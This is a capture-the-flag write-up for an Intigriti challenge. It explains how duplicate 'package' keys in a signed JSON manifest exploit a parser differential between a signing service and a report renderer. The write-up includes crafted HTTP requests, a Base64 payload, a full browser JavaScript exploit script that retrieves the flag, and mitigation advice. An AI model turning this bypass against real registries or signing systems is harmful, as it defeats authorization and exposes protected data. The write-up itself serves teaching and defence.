Canonically Yours: How I Signed a Legacy Manifest and Stole the Core Registry Secrets With Duplicate JSON Keys
Challenge: Intigriti July 2026 ("Canonically Yours")
Challenge author: Intigriti
Flag: INTIGRITI{019f8700-4613-74fb-923e-781903e4bee9}
An enterprise package registry simulator called "Canonically Yours | Registry Observatory" with a classic security prompt:
"Registry Observatory generates signed compatibility reports for software packages. A protected report contains the flag." "Explore the application, understand its trust boundaries, and retrieve that report without modifying registry data or attacking the underlying infrastructure."
No infrastructure exploits, no brute force, just pure application logic and trust boundary breakdown. Let's dig in.
Observatory Intelligence → Duplicate JSON Keys → Signature Bypass → Parser Differential → Flag Exfiltration
Each layer breaks the security assumptions:
- Scope Restriction:
/api/manifests/signrequirespackage.scope === user.namespace. - Parser Differential: The signing service checks the first
"package"key in JSON, while the publication renderer uses the last"package"key. - Cryptographic Approval: The signature locks
sha256(manifest_b64). Because the signed Base64 payload itself contains duplicate keys, the signature remains 100% valid when presented to/api/publications. - Protected Report Leak:
/api/publicationsprocesses the secondary key@core/security-notesand outputs the secret release notes containingINTIGRITI{019f8700-4613-74fb-923e-781903e4bee9}.
Upon registering a handle (e.g. @testuser-12345), the platform assigns a private namespace. Looking at the Observatory Archive tab reveals transfer notices and historical ledgers:
| Record | Component | Scope / Note | Baseline Version |
|---|---|---|---|
| CR-17 | security-notes |
Platform-maintained scope: core | 1.0.0 |
| CR-23 | compat-bridge |
Maintenance record | 2.4.0 |
| CR-08 | legacy-parser |
Archived transfer record | 0.9.0 |
Notice CR-17: Component security-notes lives inside the restricted core scope (@core/security-notes).
In addition, our default workspace has three packages:
hello-world(1.0.0)compat-sample(2.1.0)legacy-adapter(0.9.0)
Checking the preflight report of legacy-adapter returned a subtle hint in release_notes:
"Historical ingestion retains the initial package declaration; report rendering uses reconstructed manifest data."
"Report rendering uses reconstructed manifest data."
Keep that phrase in mind.
To view a package preflight report, the application uses a two-phase signed protocol:
-
Sign Manifest (
POST /api/manifests/sign): We submit{ manifest_b64: Base64(JSON) }. The server validates the JSON schema and ensurespackage.scopematchesuser.namespace. If valid, it returns a cryptographically signed approval object:{ "approval_id": "f0148f3b-74e7-4c45-a981-02f3943c4c79", "manifest_sha256": "4bb8bfbd8e2ff663ba30b9998f6379ebe6eb755dc5c67680ffedd17ce22af6c1", "nonce": "ZJLCqKL5m...", "expires_at": 1785159868, "signature": "QMxaO6Eh1mw..." } -
Generate Publication Report (
POST /api/publications): We sendmanifest_b64alongside the signature tuple (approval_id,manifest_sha256,nonce,expires_at,signature). The server verifies:sha256(atob(manifest_b64)) === manifest_sha256signaturematchesmanifest_sha256and approval metadata.- It then reconstructs the manifest object to generate the report.
If we try to sign a manifest directly targeting scope: "core":
{
"package": {
"scope": "core",
"name": "security-notes",
"version": "1.0.0"
},
"metadata": { "description": "test", "visibility": "private" },
"operation": "preflight"
}The server immediately rejects it:
HTTP/1.1 400 Bad Request
{ "error": "Manifest could not be approved." }The signing service strictly guards the core scope.
How does the backend process JSON when duplicate keys are present?
Standard ECMAScript JSON.parse resolves duplicate keys by keeping the last key-value pair (JSON.parse('{"a":1,"a":2}') yields {a: 2}). However, different JSON parsers, AST builders, schema validators, or custom canonicalization steps behave differently:
- Some parsers evaluate key collisions from left to right (keeping the first key).
- Others evaluate right to left (keeping the last key).
Let's test putting two "package" keys inside a single manifest JSON string:
{
"package": {
"scope": "testuser-12345",
"name": "hello-world",
"version": "1.0.0"
},
"package": {
"scope": "core",
"name": "security-notes",
"version": "1.0.0"
},
"metadata": {
"description": "test",
"visibility": "private"
},
"operation": "preflight"
}We Base64 encode this exact string and send it to POST /api/manifests/sign:
POST /api/manifests/sign HTTP/1.1
Content-Type: application/json
X-CSRF-Token: <token>
{
"manifest_b64": "eyJwYWNrYWdlIjp7InNjb3BlIjoidGVzdHVzZXItMTIzNDUiLCJuYW1lIjoiaGVsbG8td29ybGQiLCJ2ZXJzaW9uIjoiMS4wLjAifSwicGFja2FnZSI6eyJzY29wZSI6ImNvcmUiLCJuYW1lIjoic2VjdXJpdHktbm90ZXMiLCJ2ZXJzaW9uIjoiMS4wLjAifSwibWV0YWRhdGEiOnsiZGVzY3JpcHRpb24iOiJ0ZXN0IiwidmlzaWJpbGl0eSI6InByaXZhdGUifSwib3BlcmF0aW9uIjoicHJlZmxpZ2h0In0="
}Response:
HTTP/1.1 201 Created
{
"approval_id": "022c3322-d9a0-49bc-b160-6b962759386c",
"manifest_sha256": "090ebe37cbee397be1bf938385bf39177760a02afa1b5dc54b4468e2d87b8907",
"nonce": "J0sZIcKtvnzg_bjxcCfOfGyWPJYMNu4gwGHHolFf2Mw",
"expires_at": 1785159973,
"signature": "H78lYhRnkanBsllTr/HBt4wKPxZqVOOVuMPBcv30dylGxJY0CG1vERK7Go4YPBZpStpqzvt+e2m0WYmudwdbCw=="
}It was APPROVED!
Why?
/api/manifests/signparsed the first"package"object (scope === "testuser-12345"). Because"testuser-12345"matches our authorized namespace, the policy check passed!- The signing service hashed the exact byte sequence of
manifest_b64(manifest_sha256 = 090ebe37...) and generated a valid RSA/ECDSA signature over it.
Now we send manifest_b64 and the fresh signature to POST /api/publications:
POST /api/publications HTTP/1.1
Content-Type: application/json
X-CSRF-Token: <token>
{
"manifest_b64": "eyJwYWNrYWdlIjp7InNjb3BlIjoidGVzdHVzZXItMTIzNDUiLCJuYW1lIjoiaGVsbG8td29ybGQiLCJ2ZXJzaW9uIjoiMS4wLjAifSwicGFja2FnZSI6eyJzY29wZSI6ImNvcmUiLCJuYW1lIjoic2VjdXJpdHktbm90ZXMiLCJ2ZXJzaW9uIjoiMS4wLjAifSwibWV0YWRhdGEiOnsiZGVzY3JpcHRpb24iOiJ0ZXN0IiwidmlzaWJpbGl0eSI6InByaXZhdGUifSwib3BlcmF0aW9uIjoicHJlZmxpZ2h0In0=",
"approval_id": "022c3322-d9a0-49bc-b160-6b962759386c",
"manifest_sha256": "090ebe37cbee397be1bf938385bf39177760a02afa1b5dc54b4468e2d87b8907",
"nonce": "J0sZIcKtvnzg_bjxcCfOfGyWPJYMNu4gwGHHolFf2Mw",
"expires_at": 1785159973,
"signature": "H78lYhRnkanBsllTr/HBt4wKPxZqVOOVuMPBcv30dylGxJY0CG1vERK7Go4YPBZpStpqzvt+e2m0WYmudwdbCw=="
}Server Response:
HTTP/1.1 200 OK
{
"publication_id": "a63d1acd-3539-4881-88b6-342dcd8f9d20",
"status": "ready"
}Fetching GET /api/publications/a63d1acd-3539-4881-88b6-342dcd8f9d20:
HTTP/1.1 200 OK
{
"publication_id": "a63d1acd-3539-4881-88b6-342dcd8f9d20",
"target": "@core/security-notes",
"version": "1.0.0",
"status": "ready",
"report": {
"digest": "090ebe37cbee397be1bf938385bf39177760a02afa1b5dc54b4468e2d87b8907",
"target": "@core/security-notes",
"compatibility": "Read-only preflight completed.",
"release_notes": "INTIGRITI{019f8700-4613-74fb-923e-781903e4bee9}",
"latest_version": "1.0.0",
"package_exists": true
},
"created_at": "2026-07-27T13:41:17.638Z"
}Boom! The publication endpoint parsed the second "package" object (scope === "core", name === "security-notes"), queried @core/security-notes from the database, and rendered the protected release notes containing the flag!
ACT I -- The Recon
Client → Server: GET /api/observatory/advisories
Server → Client: 200 OK (Discovers @core/security-notes v1.0.0 record CR-17)
ACT II -- The Craft & Sign
Client → /api/manifests/sign: POST {"manifest_b64": Base64(Duplicate Key JSON)}
Server Signer: Inspects Key 1 -> scope === "@user-namespace" (ALLOWED!)
Server Signer → Client: 201 Created + Signature over sha256(manifest_b64)
ACT III -- The Publication
Client → /api/publications: POST {"manifest_b64": ..., "signature": ...}
Server Verifier: Validates signature over manifest_sha256 (VALID!)
Server Renderer: Inspects Key 2 -> scope === "core", name === "security-notes"
ACT IV -- The Flag
Client → /api/publications/<id>: GET
Server → Client: 200 OK + {"release_notes": "INTIGRITI{019f8700-4613-74fb-923e-781903e4bee9}"}
(async () => {
// 1. Get user context and CSRF token
const me = await (await fetch('/api/me')).json();
const ns = me.user.namespace;
// 2. Craft manifest JSON with duplicate "package" keys
const rawJson = JSON.stringify({
package: {
scope: ns,
name: "hello-world",
version: "1.0.0"
}
}).replace(/}$/, `,"package":{"scope":"core","name":"security-notes","version":"1.0.0"},"metadata":{"description":"test","visibility":"private"},"operation":"preflight"}`);
const b64 = btoa(rawJson);
// 3. Request signed approval from /api/manifests/sign
const signRes = await (await fetch('/api/manifests/sign', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'x-csrf-token': me.csrf_token
},
body: JSON.stringify({ manifest_b64: b64 })
})).json();
console.log('[+] Approval issued:', signRes.approval_id);
// 4. Submit publication using signed approval
const pubRes = await (await fetch('/api/publications', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'x-csrf-token': me.csrf_token
},
body: JSON.stringify({
manifest_b64: b64,
approval_id: signRes.approval_id,
manifest_sha256: signRes.manifest_sha256,
nonce: signRes.nonce,
expires_at: signRes.expires_at,
signature: signRes.signature
})
})).json();
// 5. Retrieve preflight report containing the flag
const reportRes = await (await fetch(`/api/publications/${pubRes.publication_id}`)).json();
console.log('[!] FLAG:', reportRes.report.release_notes);
})();- Reject Duplicate JSON Keys at the Ingestion Layer. Standard RFC 8259 specifies that object member names SHOULD be unique. When microservices or internal modules use different JSON parsers, duplicate keys lead to severe parser differentials.
- Canonicalize Prior to Hashing & Verification. Cryptographic signatures over un-canonicalized raw strings lock in any structural ambiguities present in the raw string. Always canonicalize JSON (e.g. RFC 8785 / JCS) before performing policy checks and signing.
- Use Unified Parsing Pipelines. Ensure that policy enforcement components (signers) and downstream consumers (renderers/execution engines) rely on the exact same parser configuration.
- Enforce Strict Schema Validation. Schema validators should reject duplicate object keys or unexpected structural variations rather than silently dropping or picking keys arbitrarily.
The challenge titled "Canonically Yours" was a fantastic demonstration of JSON parser differentials in cryptographically signed workflows. Signing raw JSON binaries without canonicalization is like signing a check written in pencil — anyone down the pipeline can erase or re-read the duplicate entries to mean whatever they want.
Thanks to Intigriti for creating the challenge!
P.S. If your authorization service and rendering engine don't agree on which JSON key came first... the attacker always gets the last word.